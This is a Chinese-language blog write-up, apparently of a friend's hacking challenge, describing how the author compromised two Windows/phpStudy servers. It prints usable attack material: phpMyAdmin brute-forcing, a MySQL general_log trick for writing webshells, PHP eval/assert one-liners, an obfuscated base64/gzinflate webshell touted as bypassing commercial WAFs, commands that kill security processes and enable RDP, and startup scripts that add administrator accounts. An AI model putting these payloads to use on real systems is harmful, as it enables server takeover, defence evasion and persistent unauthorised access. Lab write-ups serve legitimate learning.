1

前言

背景是这样的,大佬moza在两台服务器搭了一道题,说是组合getshell 

问过Moza大佬,说投稿前要打码。

getshell之后难忘的经历_php

2

整理思路

直接测试第二个,加了waf的那台服务器 打开链接,发现有部分源码泄露

getshell之后难忘的经历_上传_02

根据源码提示,无报错,那是基于时间的延迟注入,那可以注出账号密码,一般和登陆后台结合

那先找后台,直接御剑扫目录,只发现/phpmyadmin/目录

并且还把我ip给ban了,幸亏我是校园网,无数次断开外网重连。

getshell之后难忘的经历_php_03

到这里,基本确定就是延时注入拿到phpmyadmin的账号密码,然后进行phpmyadmin的后台getshell

3

测试开始

后台查询语句:$sql="select* from userinfo where id =$uid";

这里id不需要绕过,直接上测试语句

1 andif(0=1,1,sleep(6))

getshell之后难忘的经历_上传_04

居然直接返回,正确应该是等待6秒的。我怀疑是过滤了空格和and,用+,/**/,%230E等代替空格,大小写,双写,中间插空字符,一样不行。

去问moza大佬,说你再想想。好吧

百度一波,没找到啥有用的,哪位大佬知道的望指教

4

爆破

嗯,回到起点,这时我点开phpmyadmin后台页面,突然有个小想法

getshell之后难忘的经历_php_05

没有验证码的,那我可以直接爆破出账号密码,据我了解moza大佬有点懒,应该会是弱口令。

我拿出我收藏的字典,利用burpsuite的爆破模块进行爆破

字典有点大,我是以clusterbomb方式,又没设置多线程,所以会很慢。先让它跑先

到了下午,还没跑出来,1万多条只跑了6000多。关掉吧

应该是字典问题,把字典一些常见的弱口令复制出来,再结合一些关键词rootmoza

进行组合字典。然后抓包继续爆破

getshell之后难忘的经历_上传_06

getshell之后难忘的经历_上传_07

每爆破一百多条,ip就被ban掉,苦逼的重新整理字典重新爆破,最后终于有点结果。尝试这几组特殊结果,root  xxxx成功

登陆成功

getshell之后难忘的经历_php_08

5

phpmyadmin 后台getshell

接下来就是phpmyadmin后台getshell,一个老套路加新姿势

先找绝对路径,报错,google,访问phpmyadmin特定文件,找phpinfo无法爆出路径。

在变量可知道mysql的绝对路径,那网站根目录会是www或WWW

getshell之后难忘的经历_上传_09

后来想到在generaload file利用日志文件可以验证,路径正确,成功修改日志文件的路径,错误会报错ps:这里的generalload file 后面的新姿势会用到

getshell之后难忘的经历_上传_10

老套路:直接从表导出数据:(我一开始执行写入不了,后来改先执行前两句,再进入创建的表执行下一句)

CREATETABLE `mysql`.`study` (`mozhe` TEXT NOT NULL );

INSERTINTO `mysql`.`study` (`mozhe` )VALUES ('<?php@eval_r($_POST[“mozhe”])?>');

SELECT7on FROM study INTO OUTFILE 'C:/web/WWW/mozhe.php';

尝试老套路,直接失败,意料之中,因为之前moza说开了waf和禁用了一些函数的

showglobal variables like '%secure%';

果然securefile priv值为null,不能进行导出导入数据

新姿势,针对intooutfile 被禁用,无法导出导入文件

当然也可以先设置general_log变量为on和general_log_file为我们已知的路径,最后执行最后的语句

SETglobal general_log='on';
SETglobalgeneral_log_file='D:/webshell/WWW/shell.php';#如果没有shell.php会自动创建
SELECT'<?php assert($_POST["cmd"]);?>';

利用新姿势,成功在mysql的日志文件中写入一句话并成功解析php文件,webshell路径为日志文件shell.php

getshell之后难忘的经历_上传_11

在我开开心心连菜刀时,我懵了。。。

getshell之后难忘的经历_添加用户_12

直接被拦截了,看来是waf和防火墙,菜刀被狗吃了,连一次ban一次ip

6

漫漫getshell路

之后想到

第一、免杀过狗菜刀、xise配合免杀一句话试试:

上传免杀一句话

.<?php
/*
PHP一句话木马
assert($string)
*/
$arr= array('a','s','s','e','r','t');
$func= '';
for($i=0;$i<count($arr);$i++){
$func.= $func . $arr[$i];
}
$func($_REQUEST['c']);
?>

下载免杀过狗菜刀、xise一大丢附带软件,坑爹,去ichunqiu52pojie pansousou 基本资源都过期了。

getshell之后难忘的经历_php_13

找到一个,尝试与免杀一句话,连接,还是狗厉害点

第二,利用一句话原理,本地上次一个大马,或者直接列目录读文件

百度、百度

https://wenku.baidu.com/view/97278d2a7375a417866f8f1d.html

一句话基本原理都有讲,没找到想要的,留到以后学学

尝试就上传大马

利用phpmyadmin新姿势

上传普通大马,写进日志文件shell.php

无法正常解析,怀疑是与之前写入的一句话有影响,重新新建个shell1.php日志文件,失败

可能是大马过大,写入的数据有大小限制

下载个精小php大马

http://webshell8.com/

getshell之后难忘的经历_上传_14

内存大小2k,上传还是失败。

静下来想想,我本地可以搭一个环境,本地试验下写入的日志文件嘛

说干就干,phpstudy走起

进入我的phpmyadmin管理页面

本地我写入刚下载的大马,完整的上传进去了,不过连接失败

getshell之后难忘的经历_上传_15

反复测试,删除一些多余东西。后来有所发现

原因是多了后面的一些日志信息导致无法正常解析大马

那就注释掉

利用/*注释

构造

SELECT'<?php
$password='admin';//登录密码
//本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。
//功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大,提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。
$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*//*';

上面的是大马源码

执行时会报错,但写进mysql日志文件shell.php了

getshell之后难忘的经历_php_16

访问大马,执行成功

getshell之后难忘的经历_上传_17

可以看到大马成功解析,虽然也报了不少错误,但不影响核心功能。

进去重新上传个大马damaxiao.php

getshell之后难忘的经历_上传_18

终于getshell了,同理也把39.xx.xx.x9这台服务器也getshell成功

7

添加用户

权限很高,直接是system权限直接利用大马添加用户

39.xx.xx.xx9

getshell之后难忘的经历_上传_19

getshell之后难忘的经历_添加用户_20

不过3389端口没开

小白就喜欢直接利用大佬们的exp直接开启端口

开启3389的SQL语句:syue.com/xiaohua.asp?id=100;execmaster.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\TerminalServer’,’fDenyTSConnections’,’REG_DWORD’,0;–

开3389端口的命令:

REG   ADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal”“Server/vfDenyTSConnections /t REG_DWORD /d 0 /f

很大可能不成功,预料之中

但有一个不常见的12345端口,可能是远程连接服务端口

getshell之后难忘的经历_上传_21

本地没装nmap,利用webrobot扫下,看能不能识别,12345端口对应啥服务

getshell之后难忘的经历_添加用户_22

没啥提示

突然模糊记得他说过这台服务器3389端口不行,换了个端口。尝试12345

getshell之后难忘的经历_添加用户_23

39.xx.xx.xx9拿下

getshell之后难忘的经历_上传_24

另一台,12x.xx.xx.x2权限也很高,开了3389。

不过有d盾和阿里云防护,变态监控无法添加用户

结束阿里云,d盾进程

taskkill/im 进程名/f

还是添加失败

百度一下

systeminfo

KB952004、KB956572、KB970483这三个补丁,分别对应,第一个是pr提权,第二个是巴西烤肉提权,第三个是iis6.0提权

getshell之后难忘的经历_php_25

都打了补丁

利用api的wscript组件添加,找到它本地的cmd路径,无法执行cmd命令

getshell之后难忘的经历_添加用户_26

Shell.users组件也一样添加失败


很多骚思路

ftp添加用户

注册表添加用户

上传cmd执行net1,net2添加用户

爆用户密码,上传“PwDump7,破解当前管理密码(hash值)”,俩执行PwDump7.exe,之后到网站去解密

小白对大佬们膜拜,这些思路的以后一个一个去复现下

8

开机自启动脚本添加用户

在这里看到一个可以写开机自启vbsbat执行脚本进行添加用户

猛地觉得有希望

首先找到开机启动的绝对路径,当前系统为WINNT32,百度其启动路径

一番查找后,终于发先它与win8.1的路径一样

开机启动路径:

C:/ProgramData/Microsoft/Windows/StartMenu/Programs/Startup

执行脚本如下:

*.bat

@echooff

netuser mozhe1 123321 /add

netlocalgroup administartors mozhe1 /add

*.vbs

setwshshell=createobject("wscript.shell")

wshshell.run"net user mozhe2 123321 /add",0

wshshell.run"net localgroup administrators mozhe2 /add",0

上传脚本

getshell之后难忘的经历_添加用户_27

然后就重启服务器shutdown /r

没想到服务器是重启了,可是他的php,apache,sql等环境没重启,才记得是phpstudy

只能叫moza大佬重启下

期待的Netuser 没有添加成功,不明白,继续费脑力中

后来莫名想起一个工具,大灰狼远控,我想能不能生成远控木马,放到开机自启动目录

本地监听中

getshell之后难忘的经历_php_28

上传生成的远控马

getshell之后难忘的经历_php_29

重启服务器shutdown /r

没反应,这就尴尬了,可能被狗杀了,想想有没有过狗的,但暂时找不到资源

9

峰回路转添加成功

就在我决定放弃了,睡觉了的时候

手贱迷茫的乱打netuser mozhe131 fbb.54asfd /add

getshell之后难忘的经历_添加用户_30

卧槽!!!居然成功了

我不敢相信的默默地添加管理组

getshell之后难忘的经历_php_31

Good!!

突然想起一句话,蓦然回首,那人却在灯火阑珊处

后来知道是设置了密码策略,gg,我记得信息安全这门课学过的,对不起老师啊

那之前的添加开机自启动的脚本思路应该是对的

修改下密码,测试一番

继续重启动服务器shutdown/r

重启开机后Net user ,终于。。。

getshell之后难忘的经历_上传_32

不过.bat添加的只是标准用户,.vbs添加的是管理员,应该是.bat脚本的最后一句话没有执行成功,留到下次测试下。

远程登陆

getshell之后难忘的经历_添加用户_33

终于完成,不是太完美,但心满意足了,睡觉去了,要猝死的。。。熬夜

大马用户搞完也就删了。

getshell之后难忘的经历_上传_34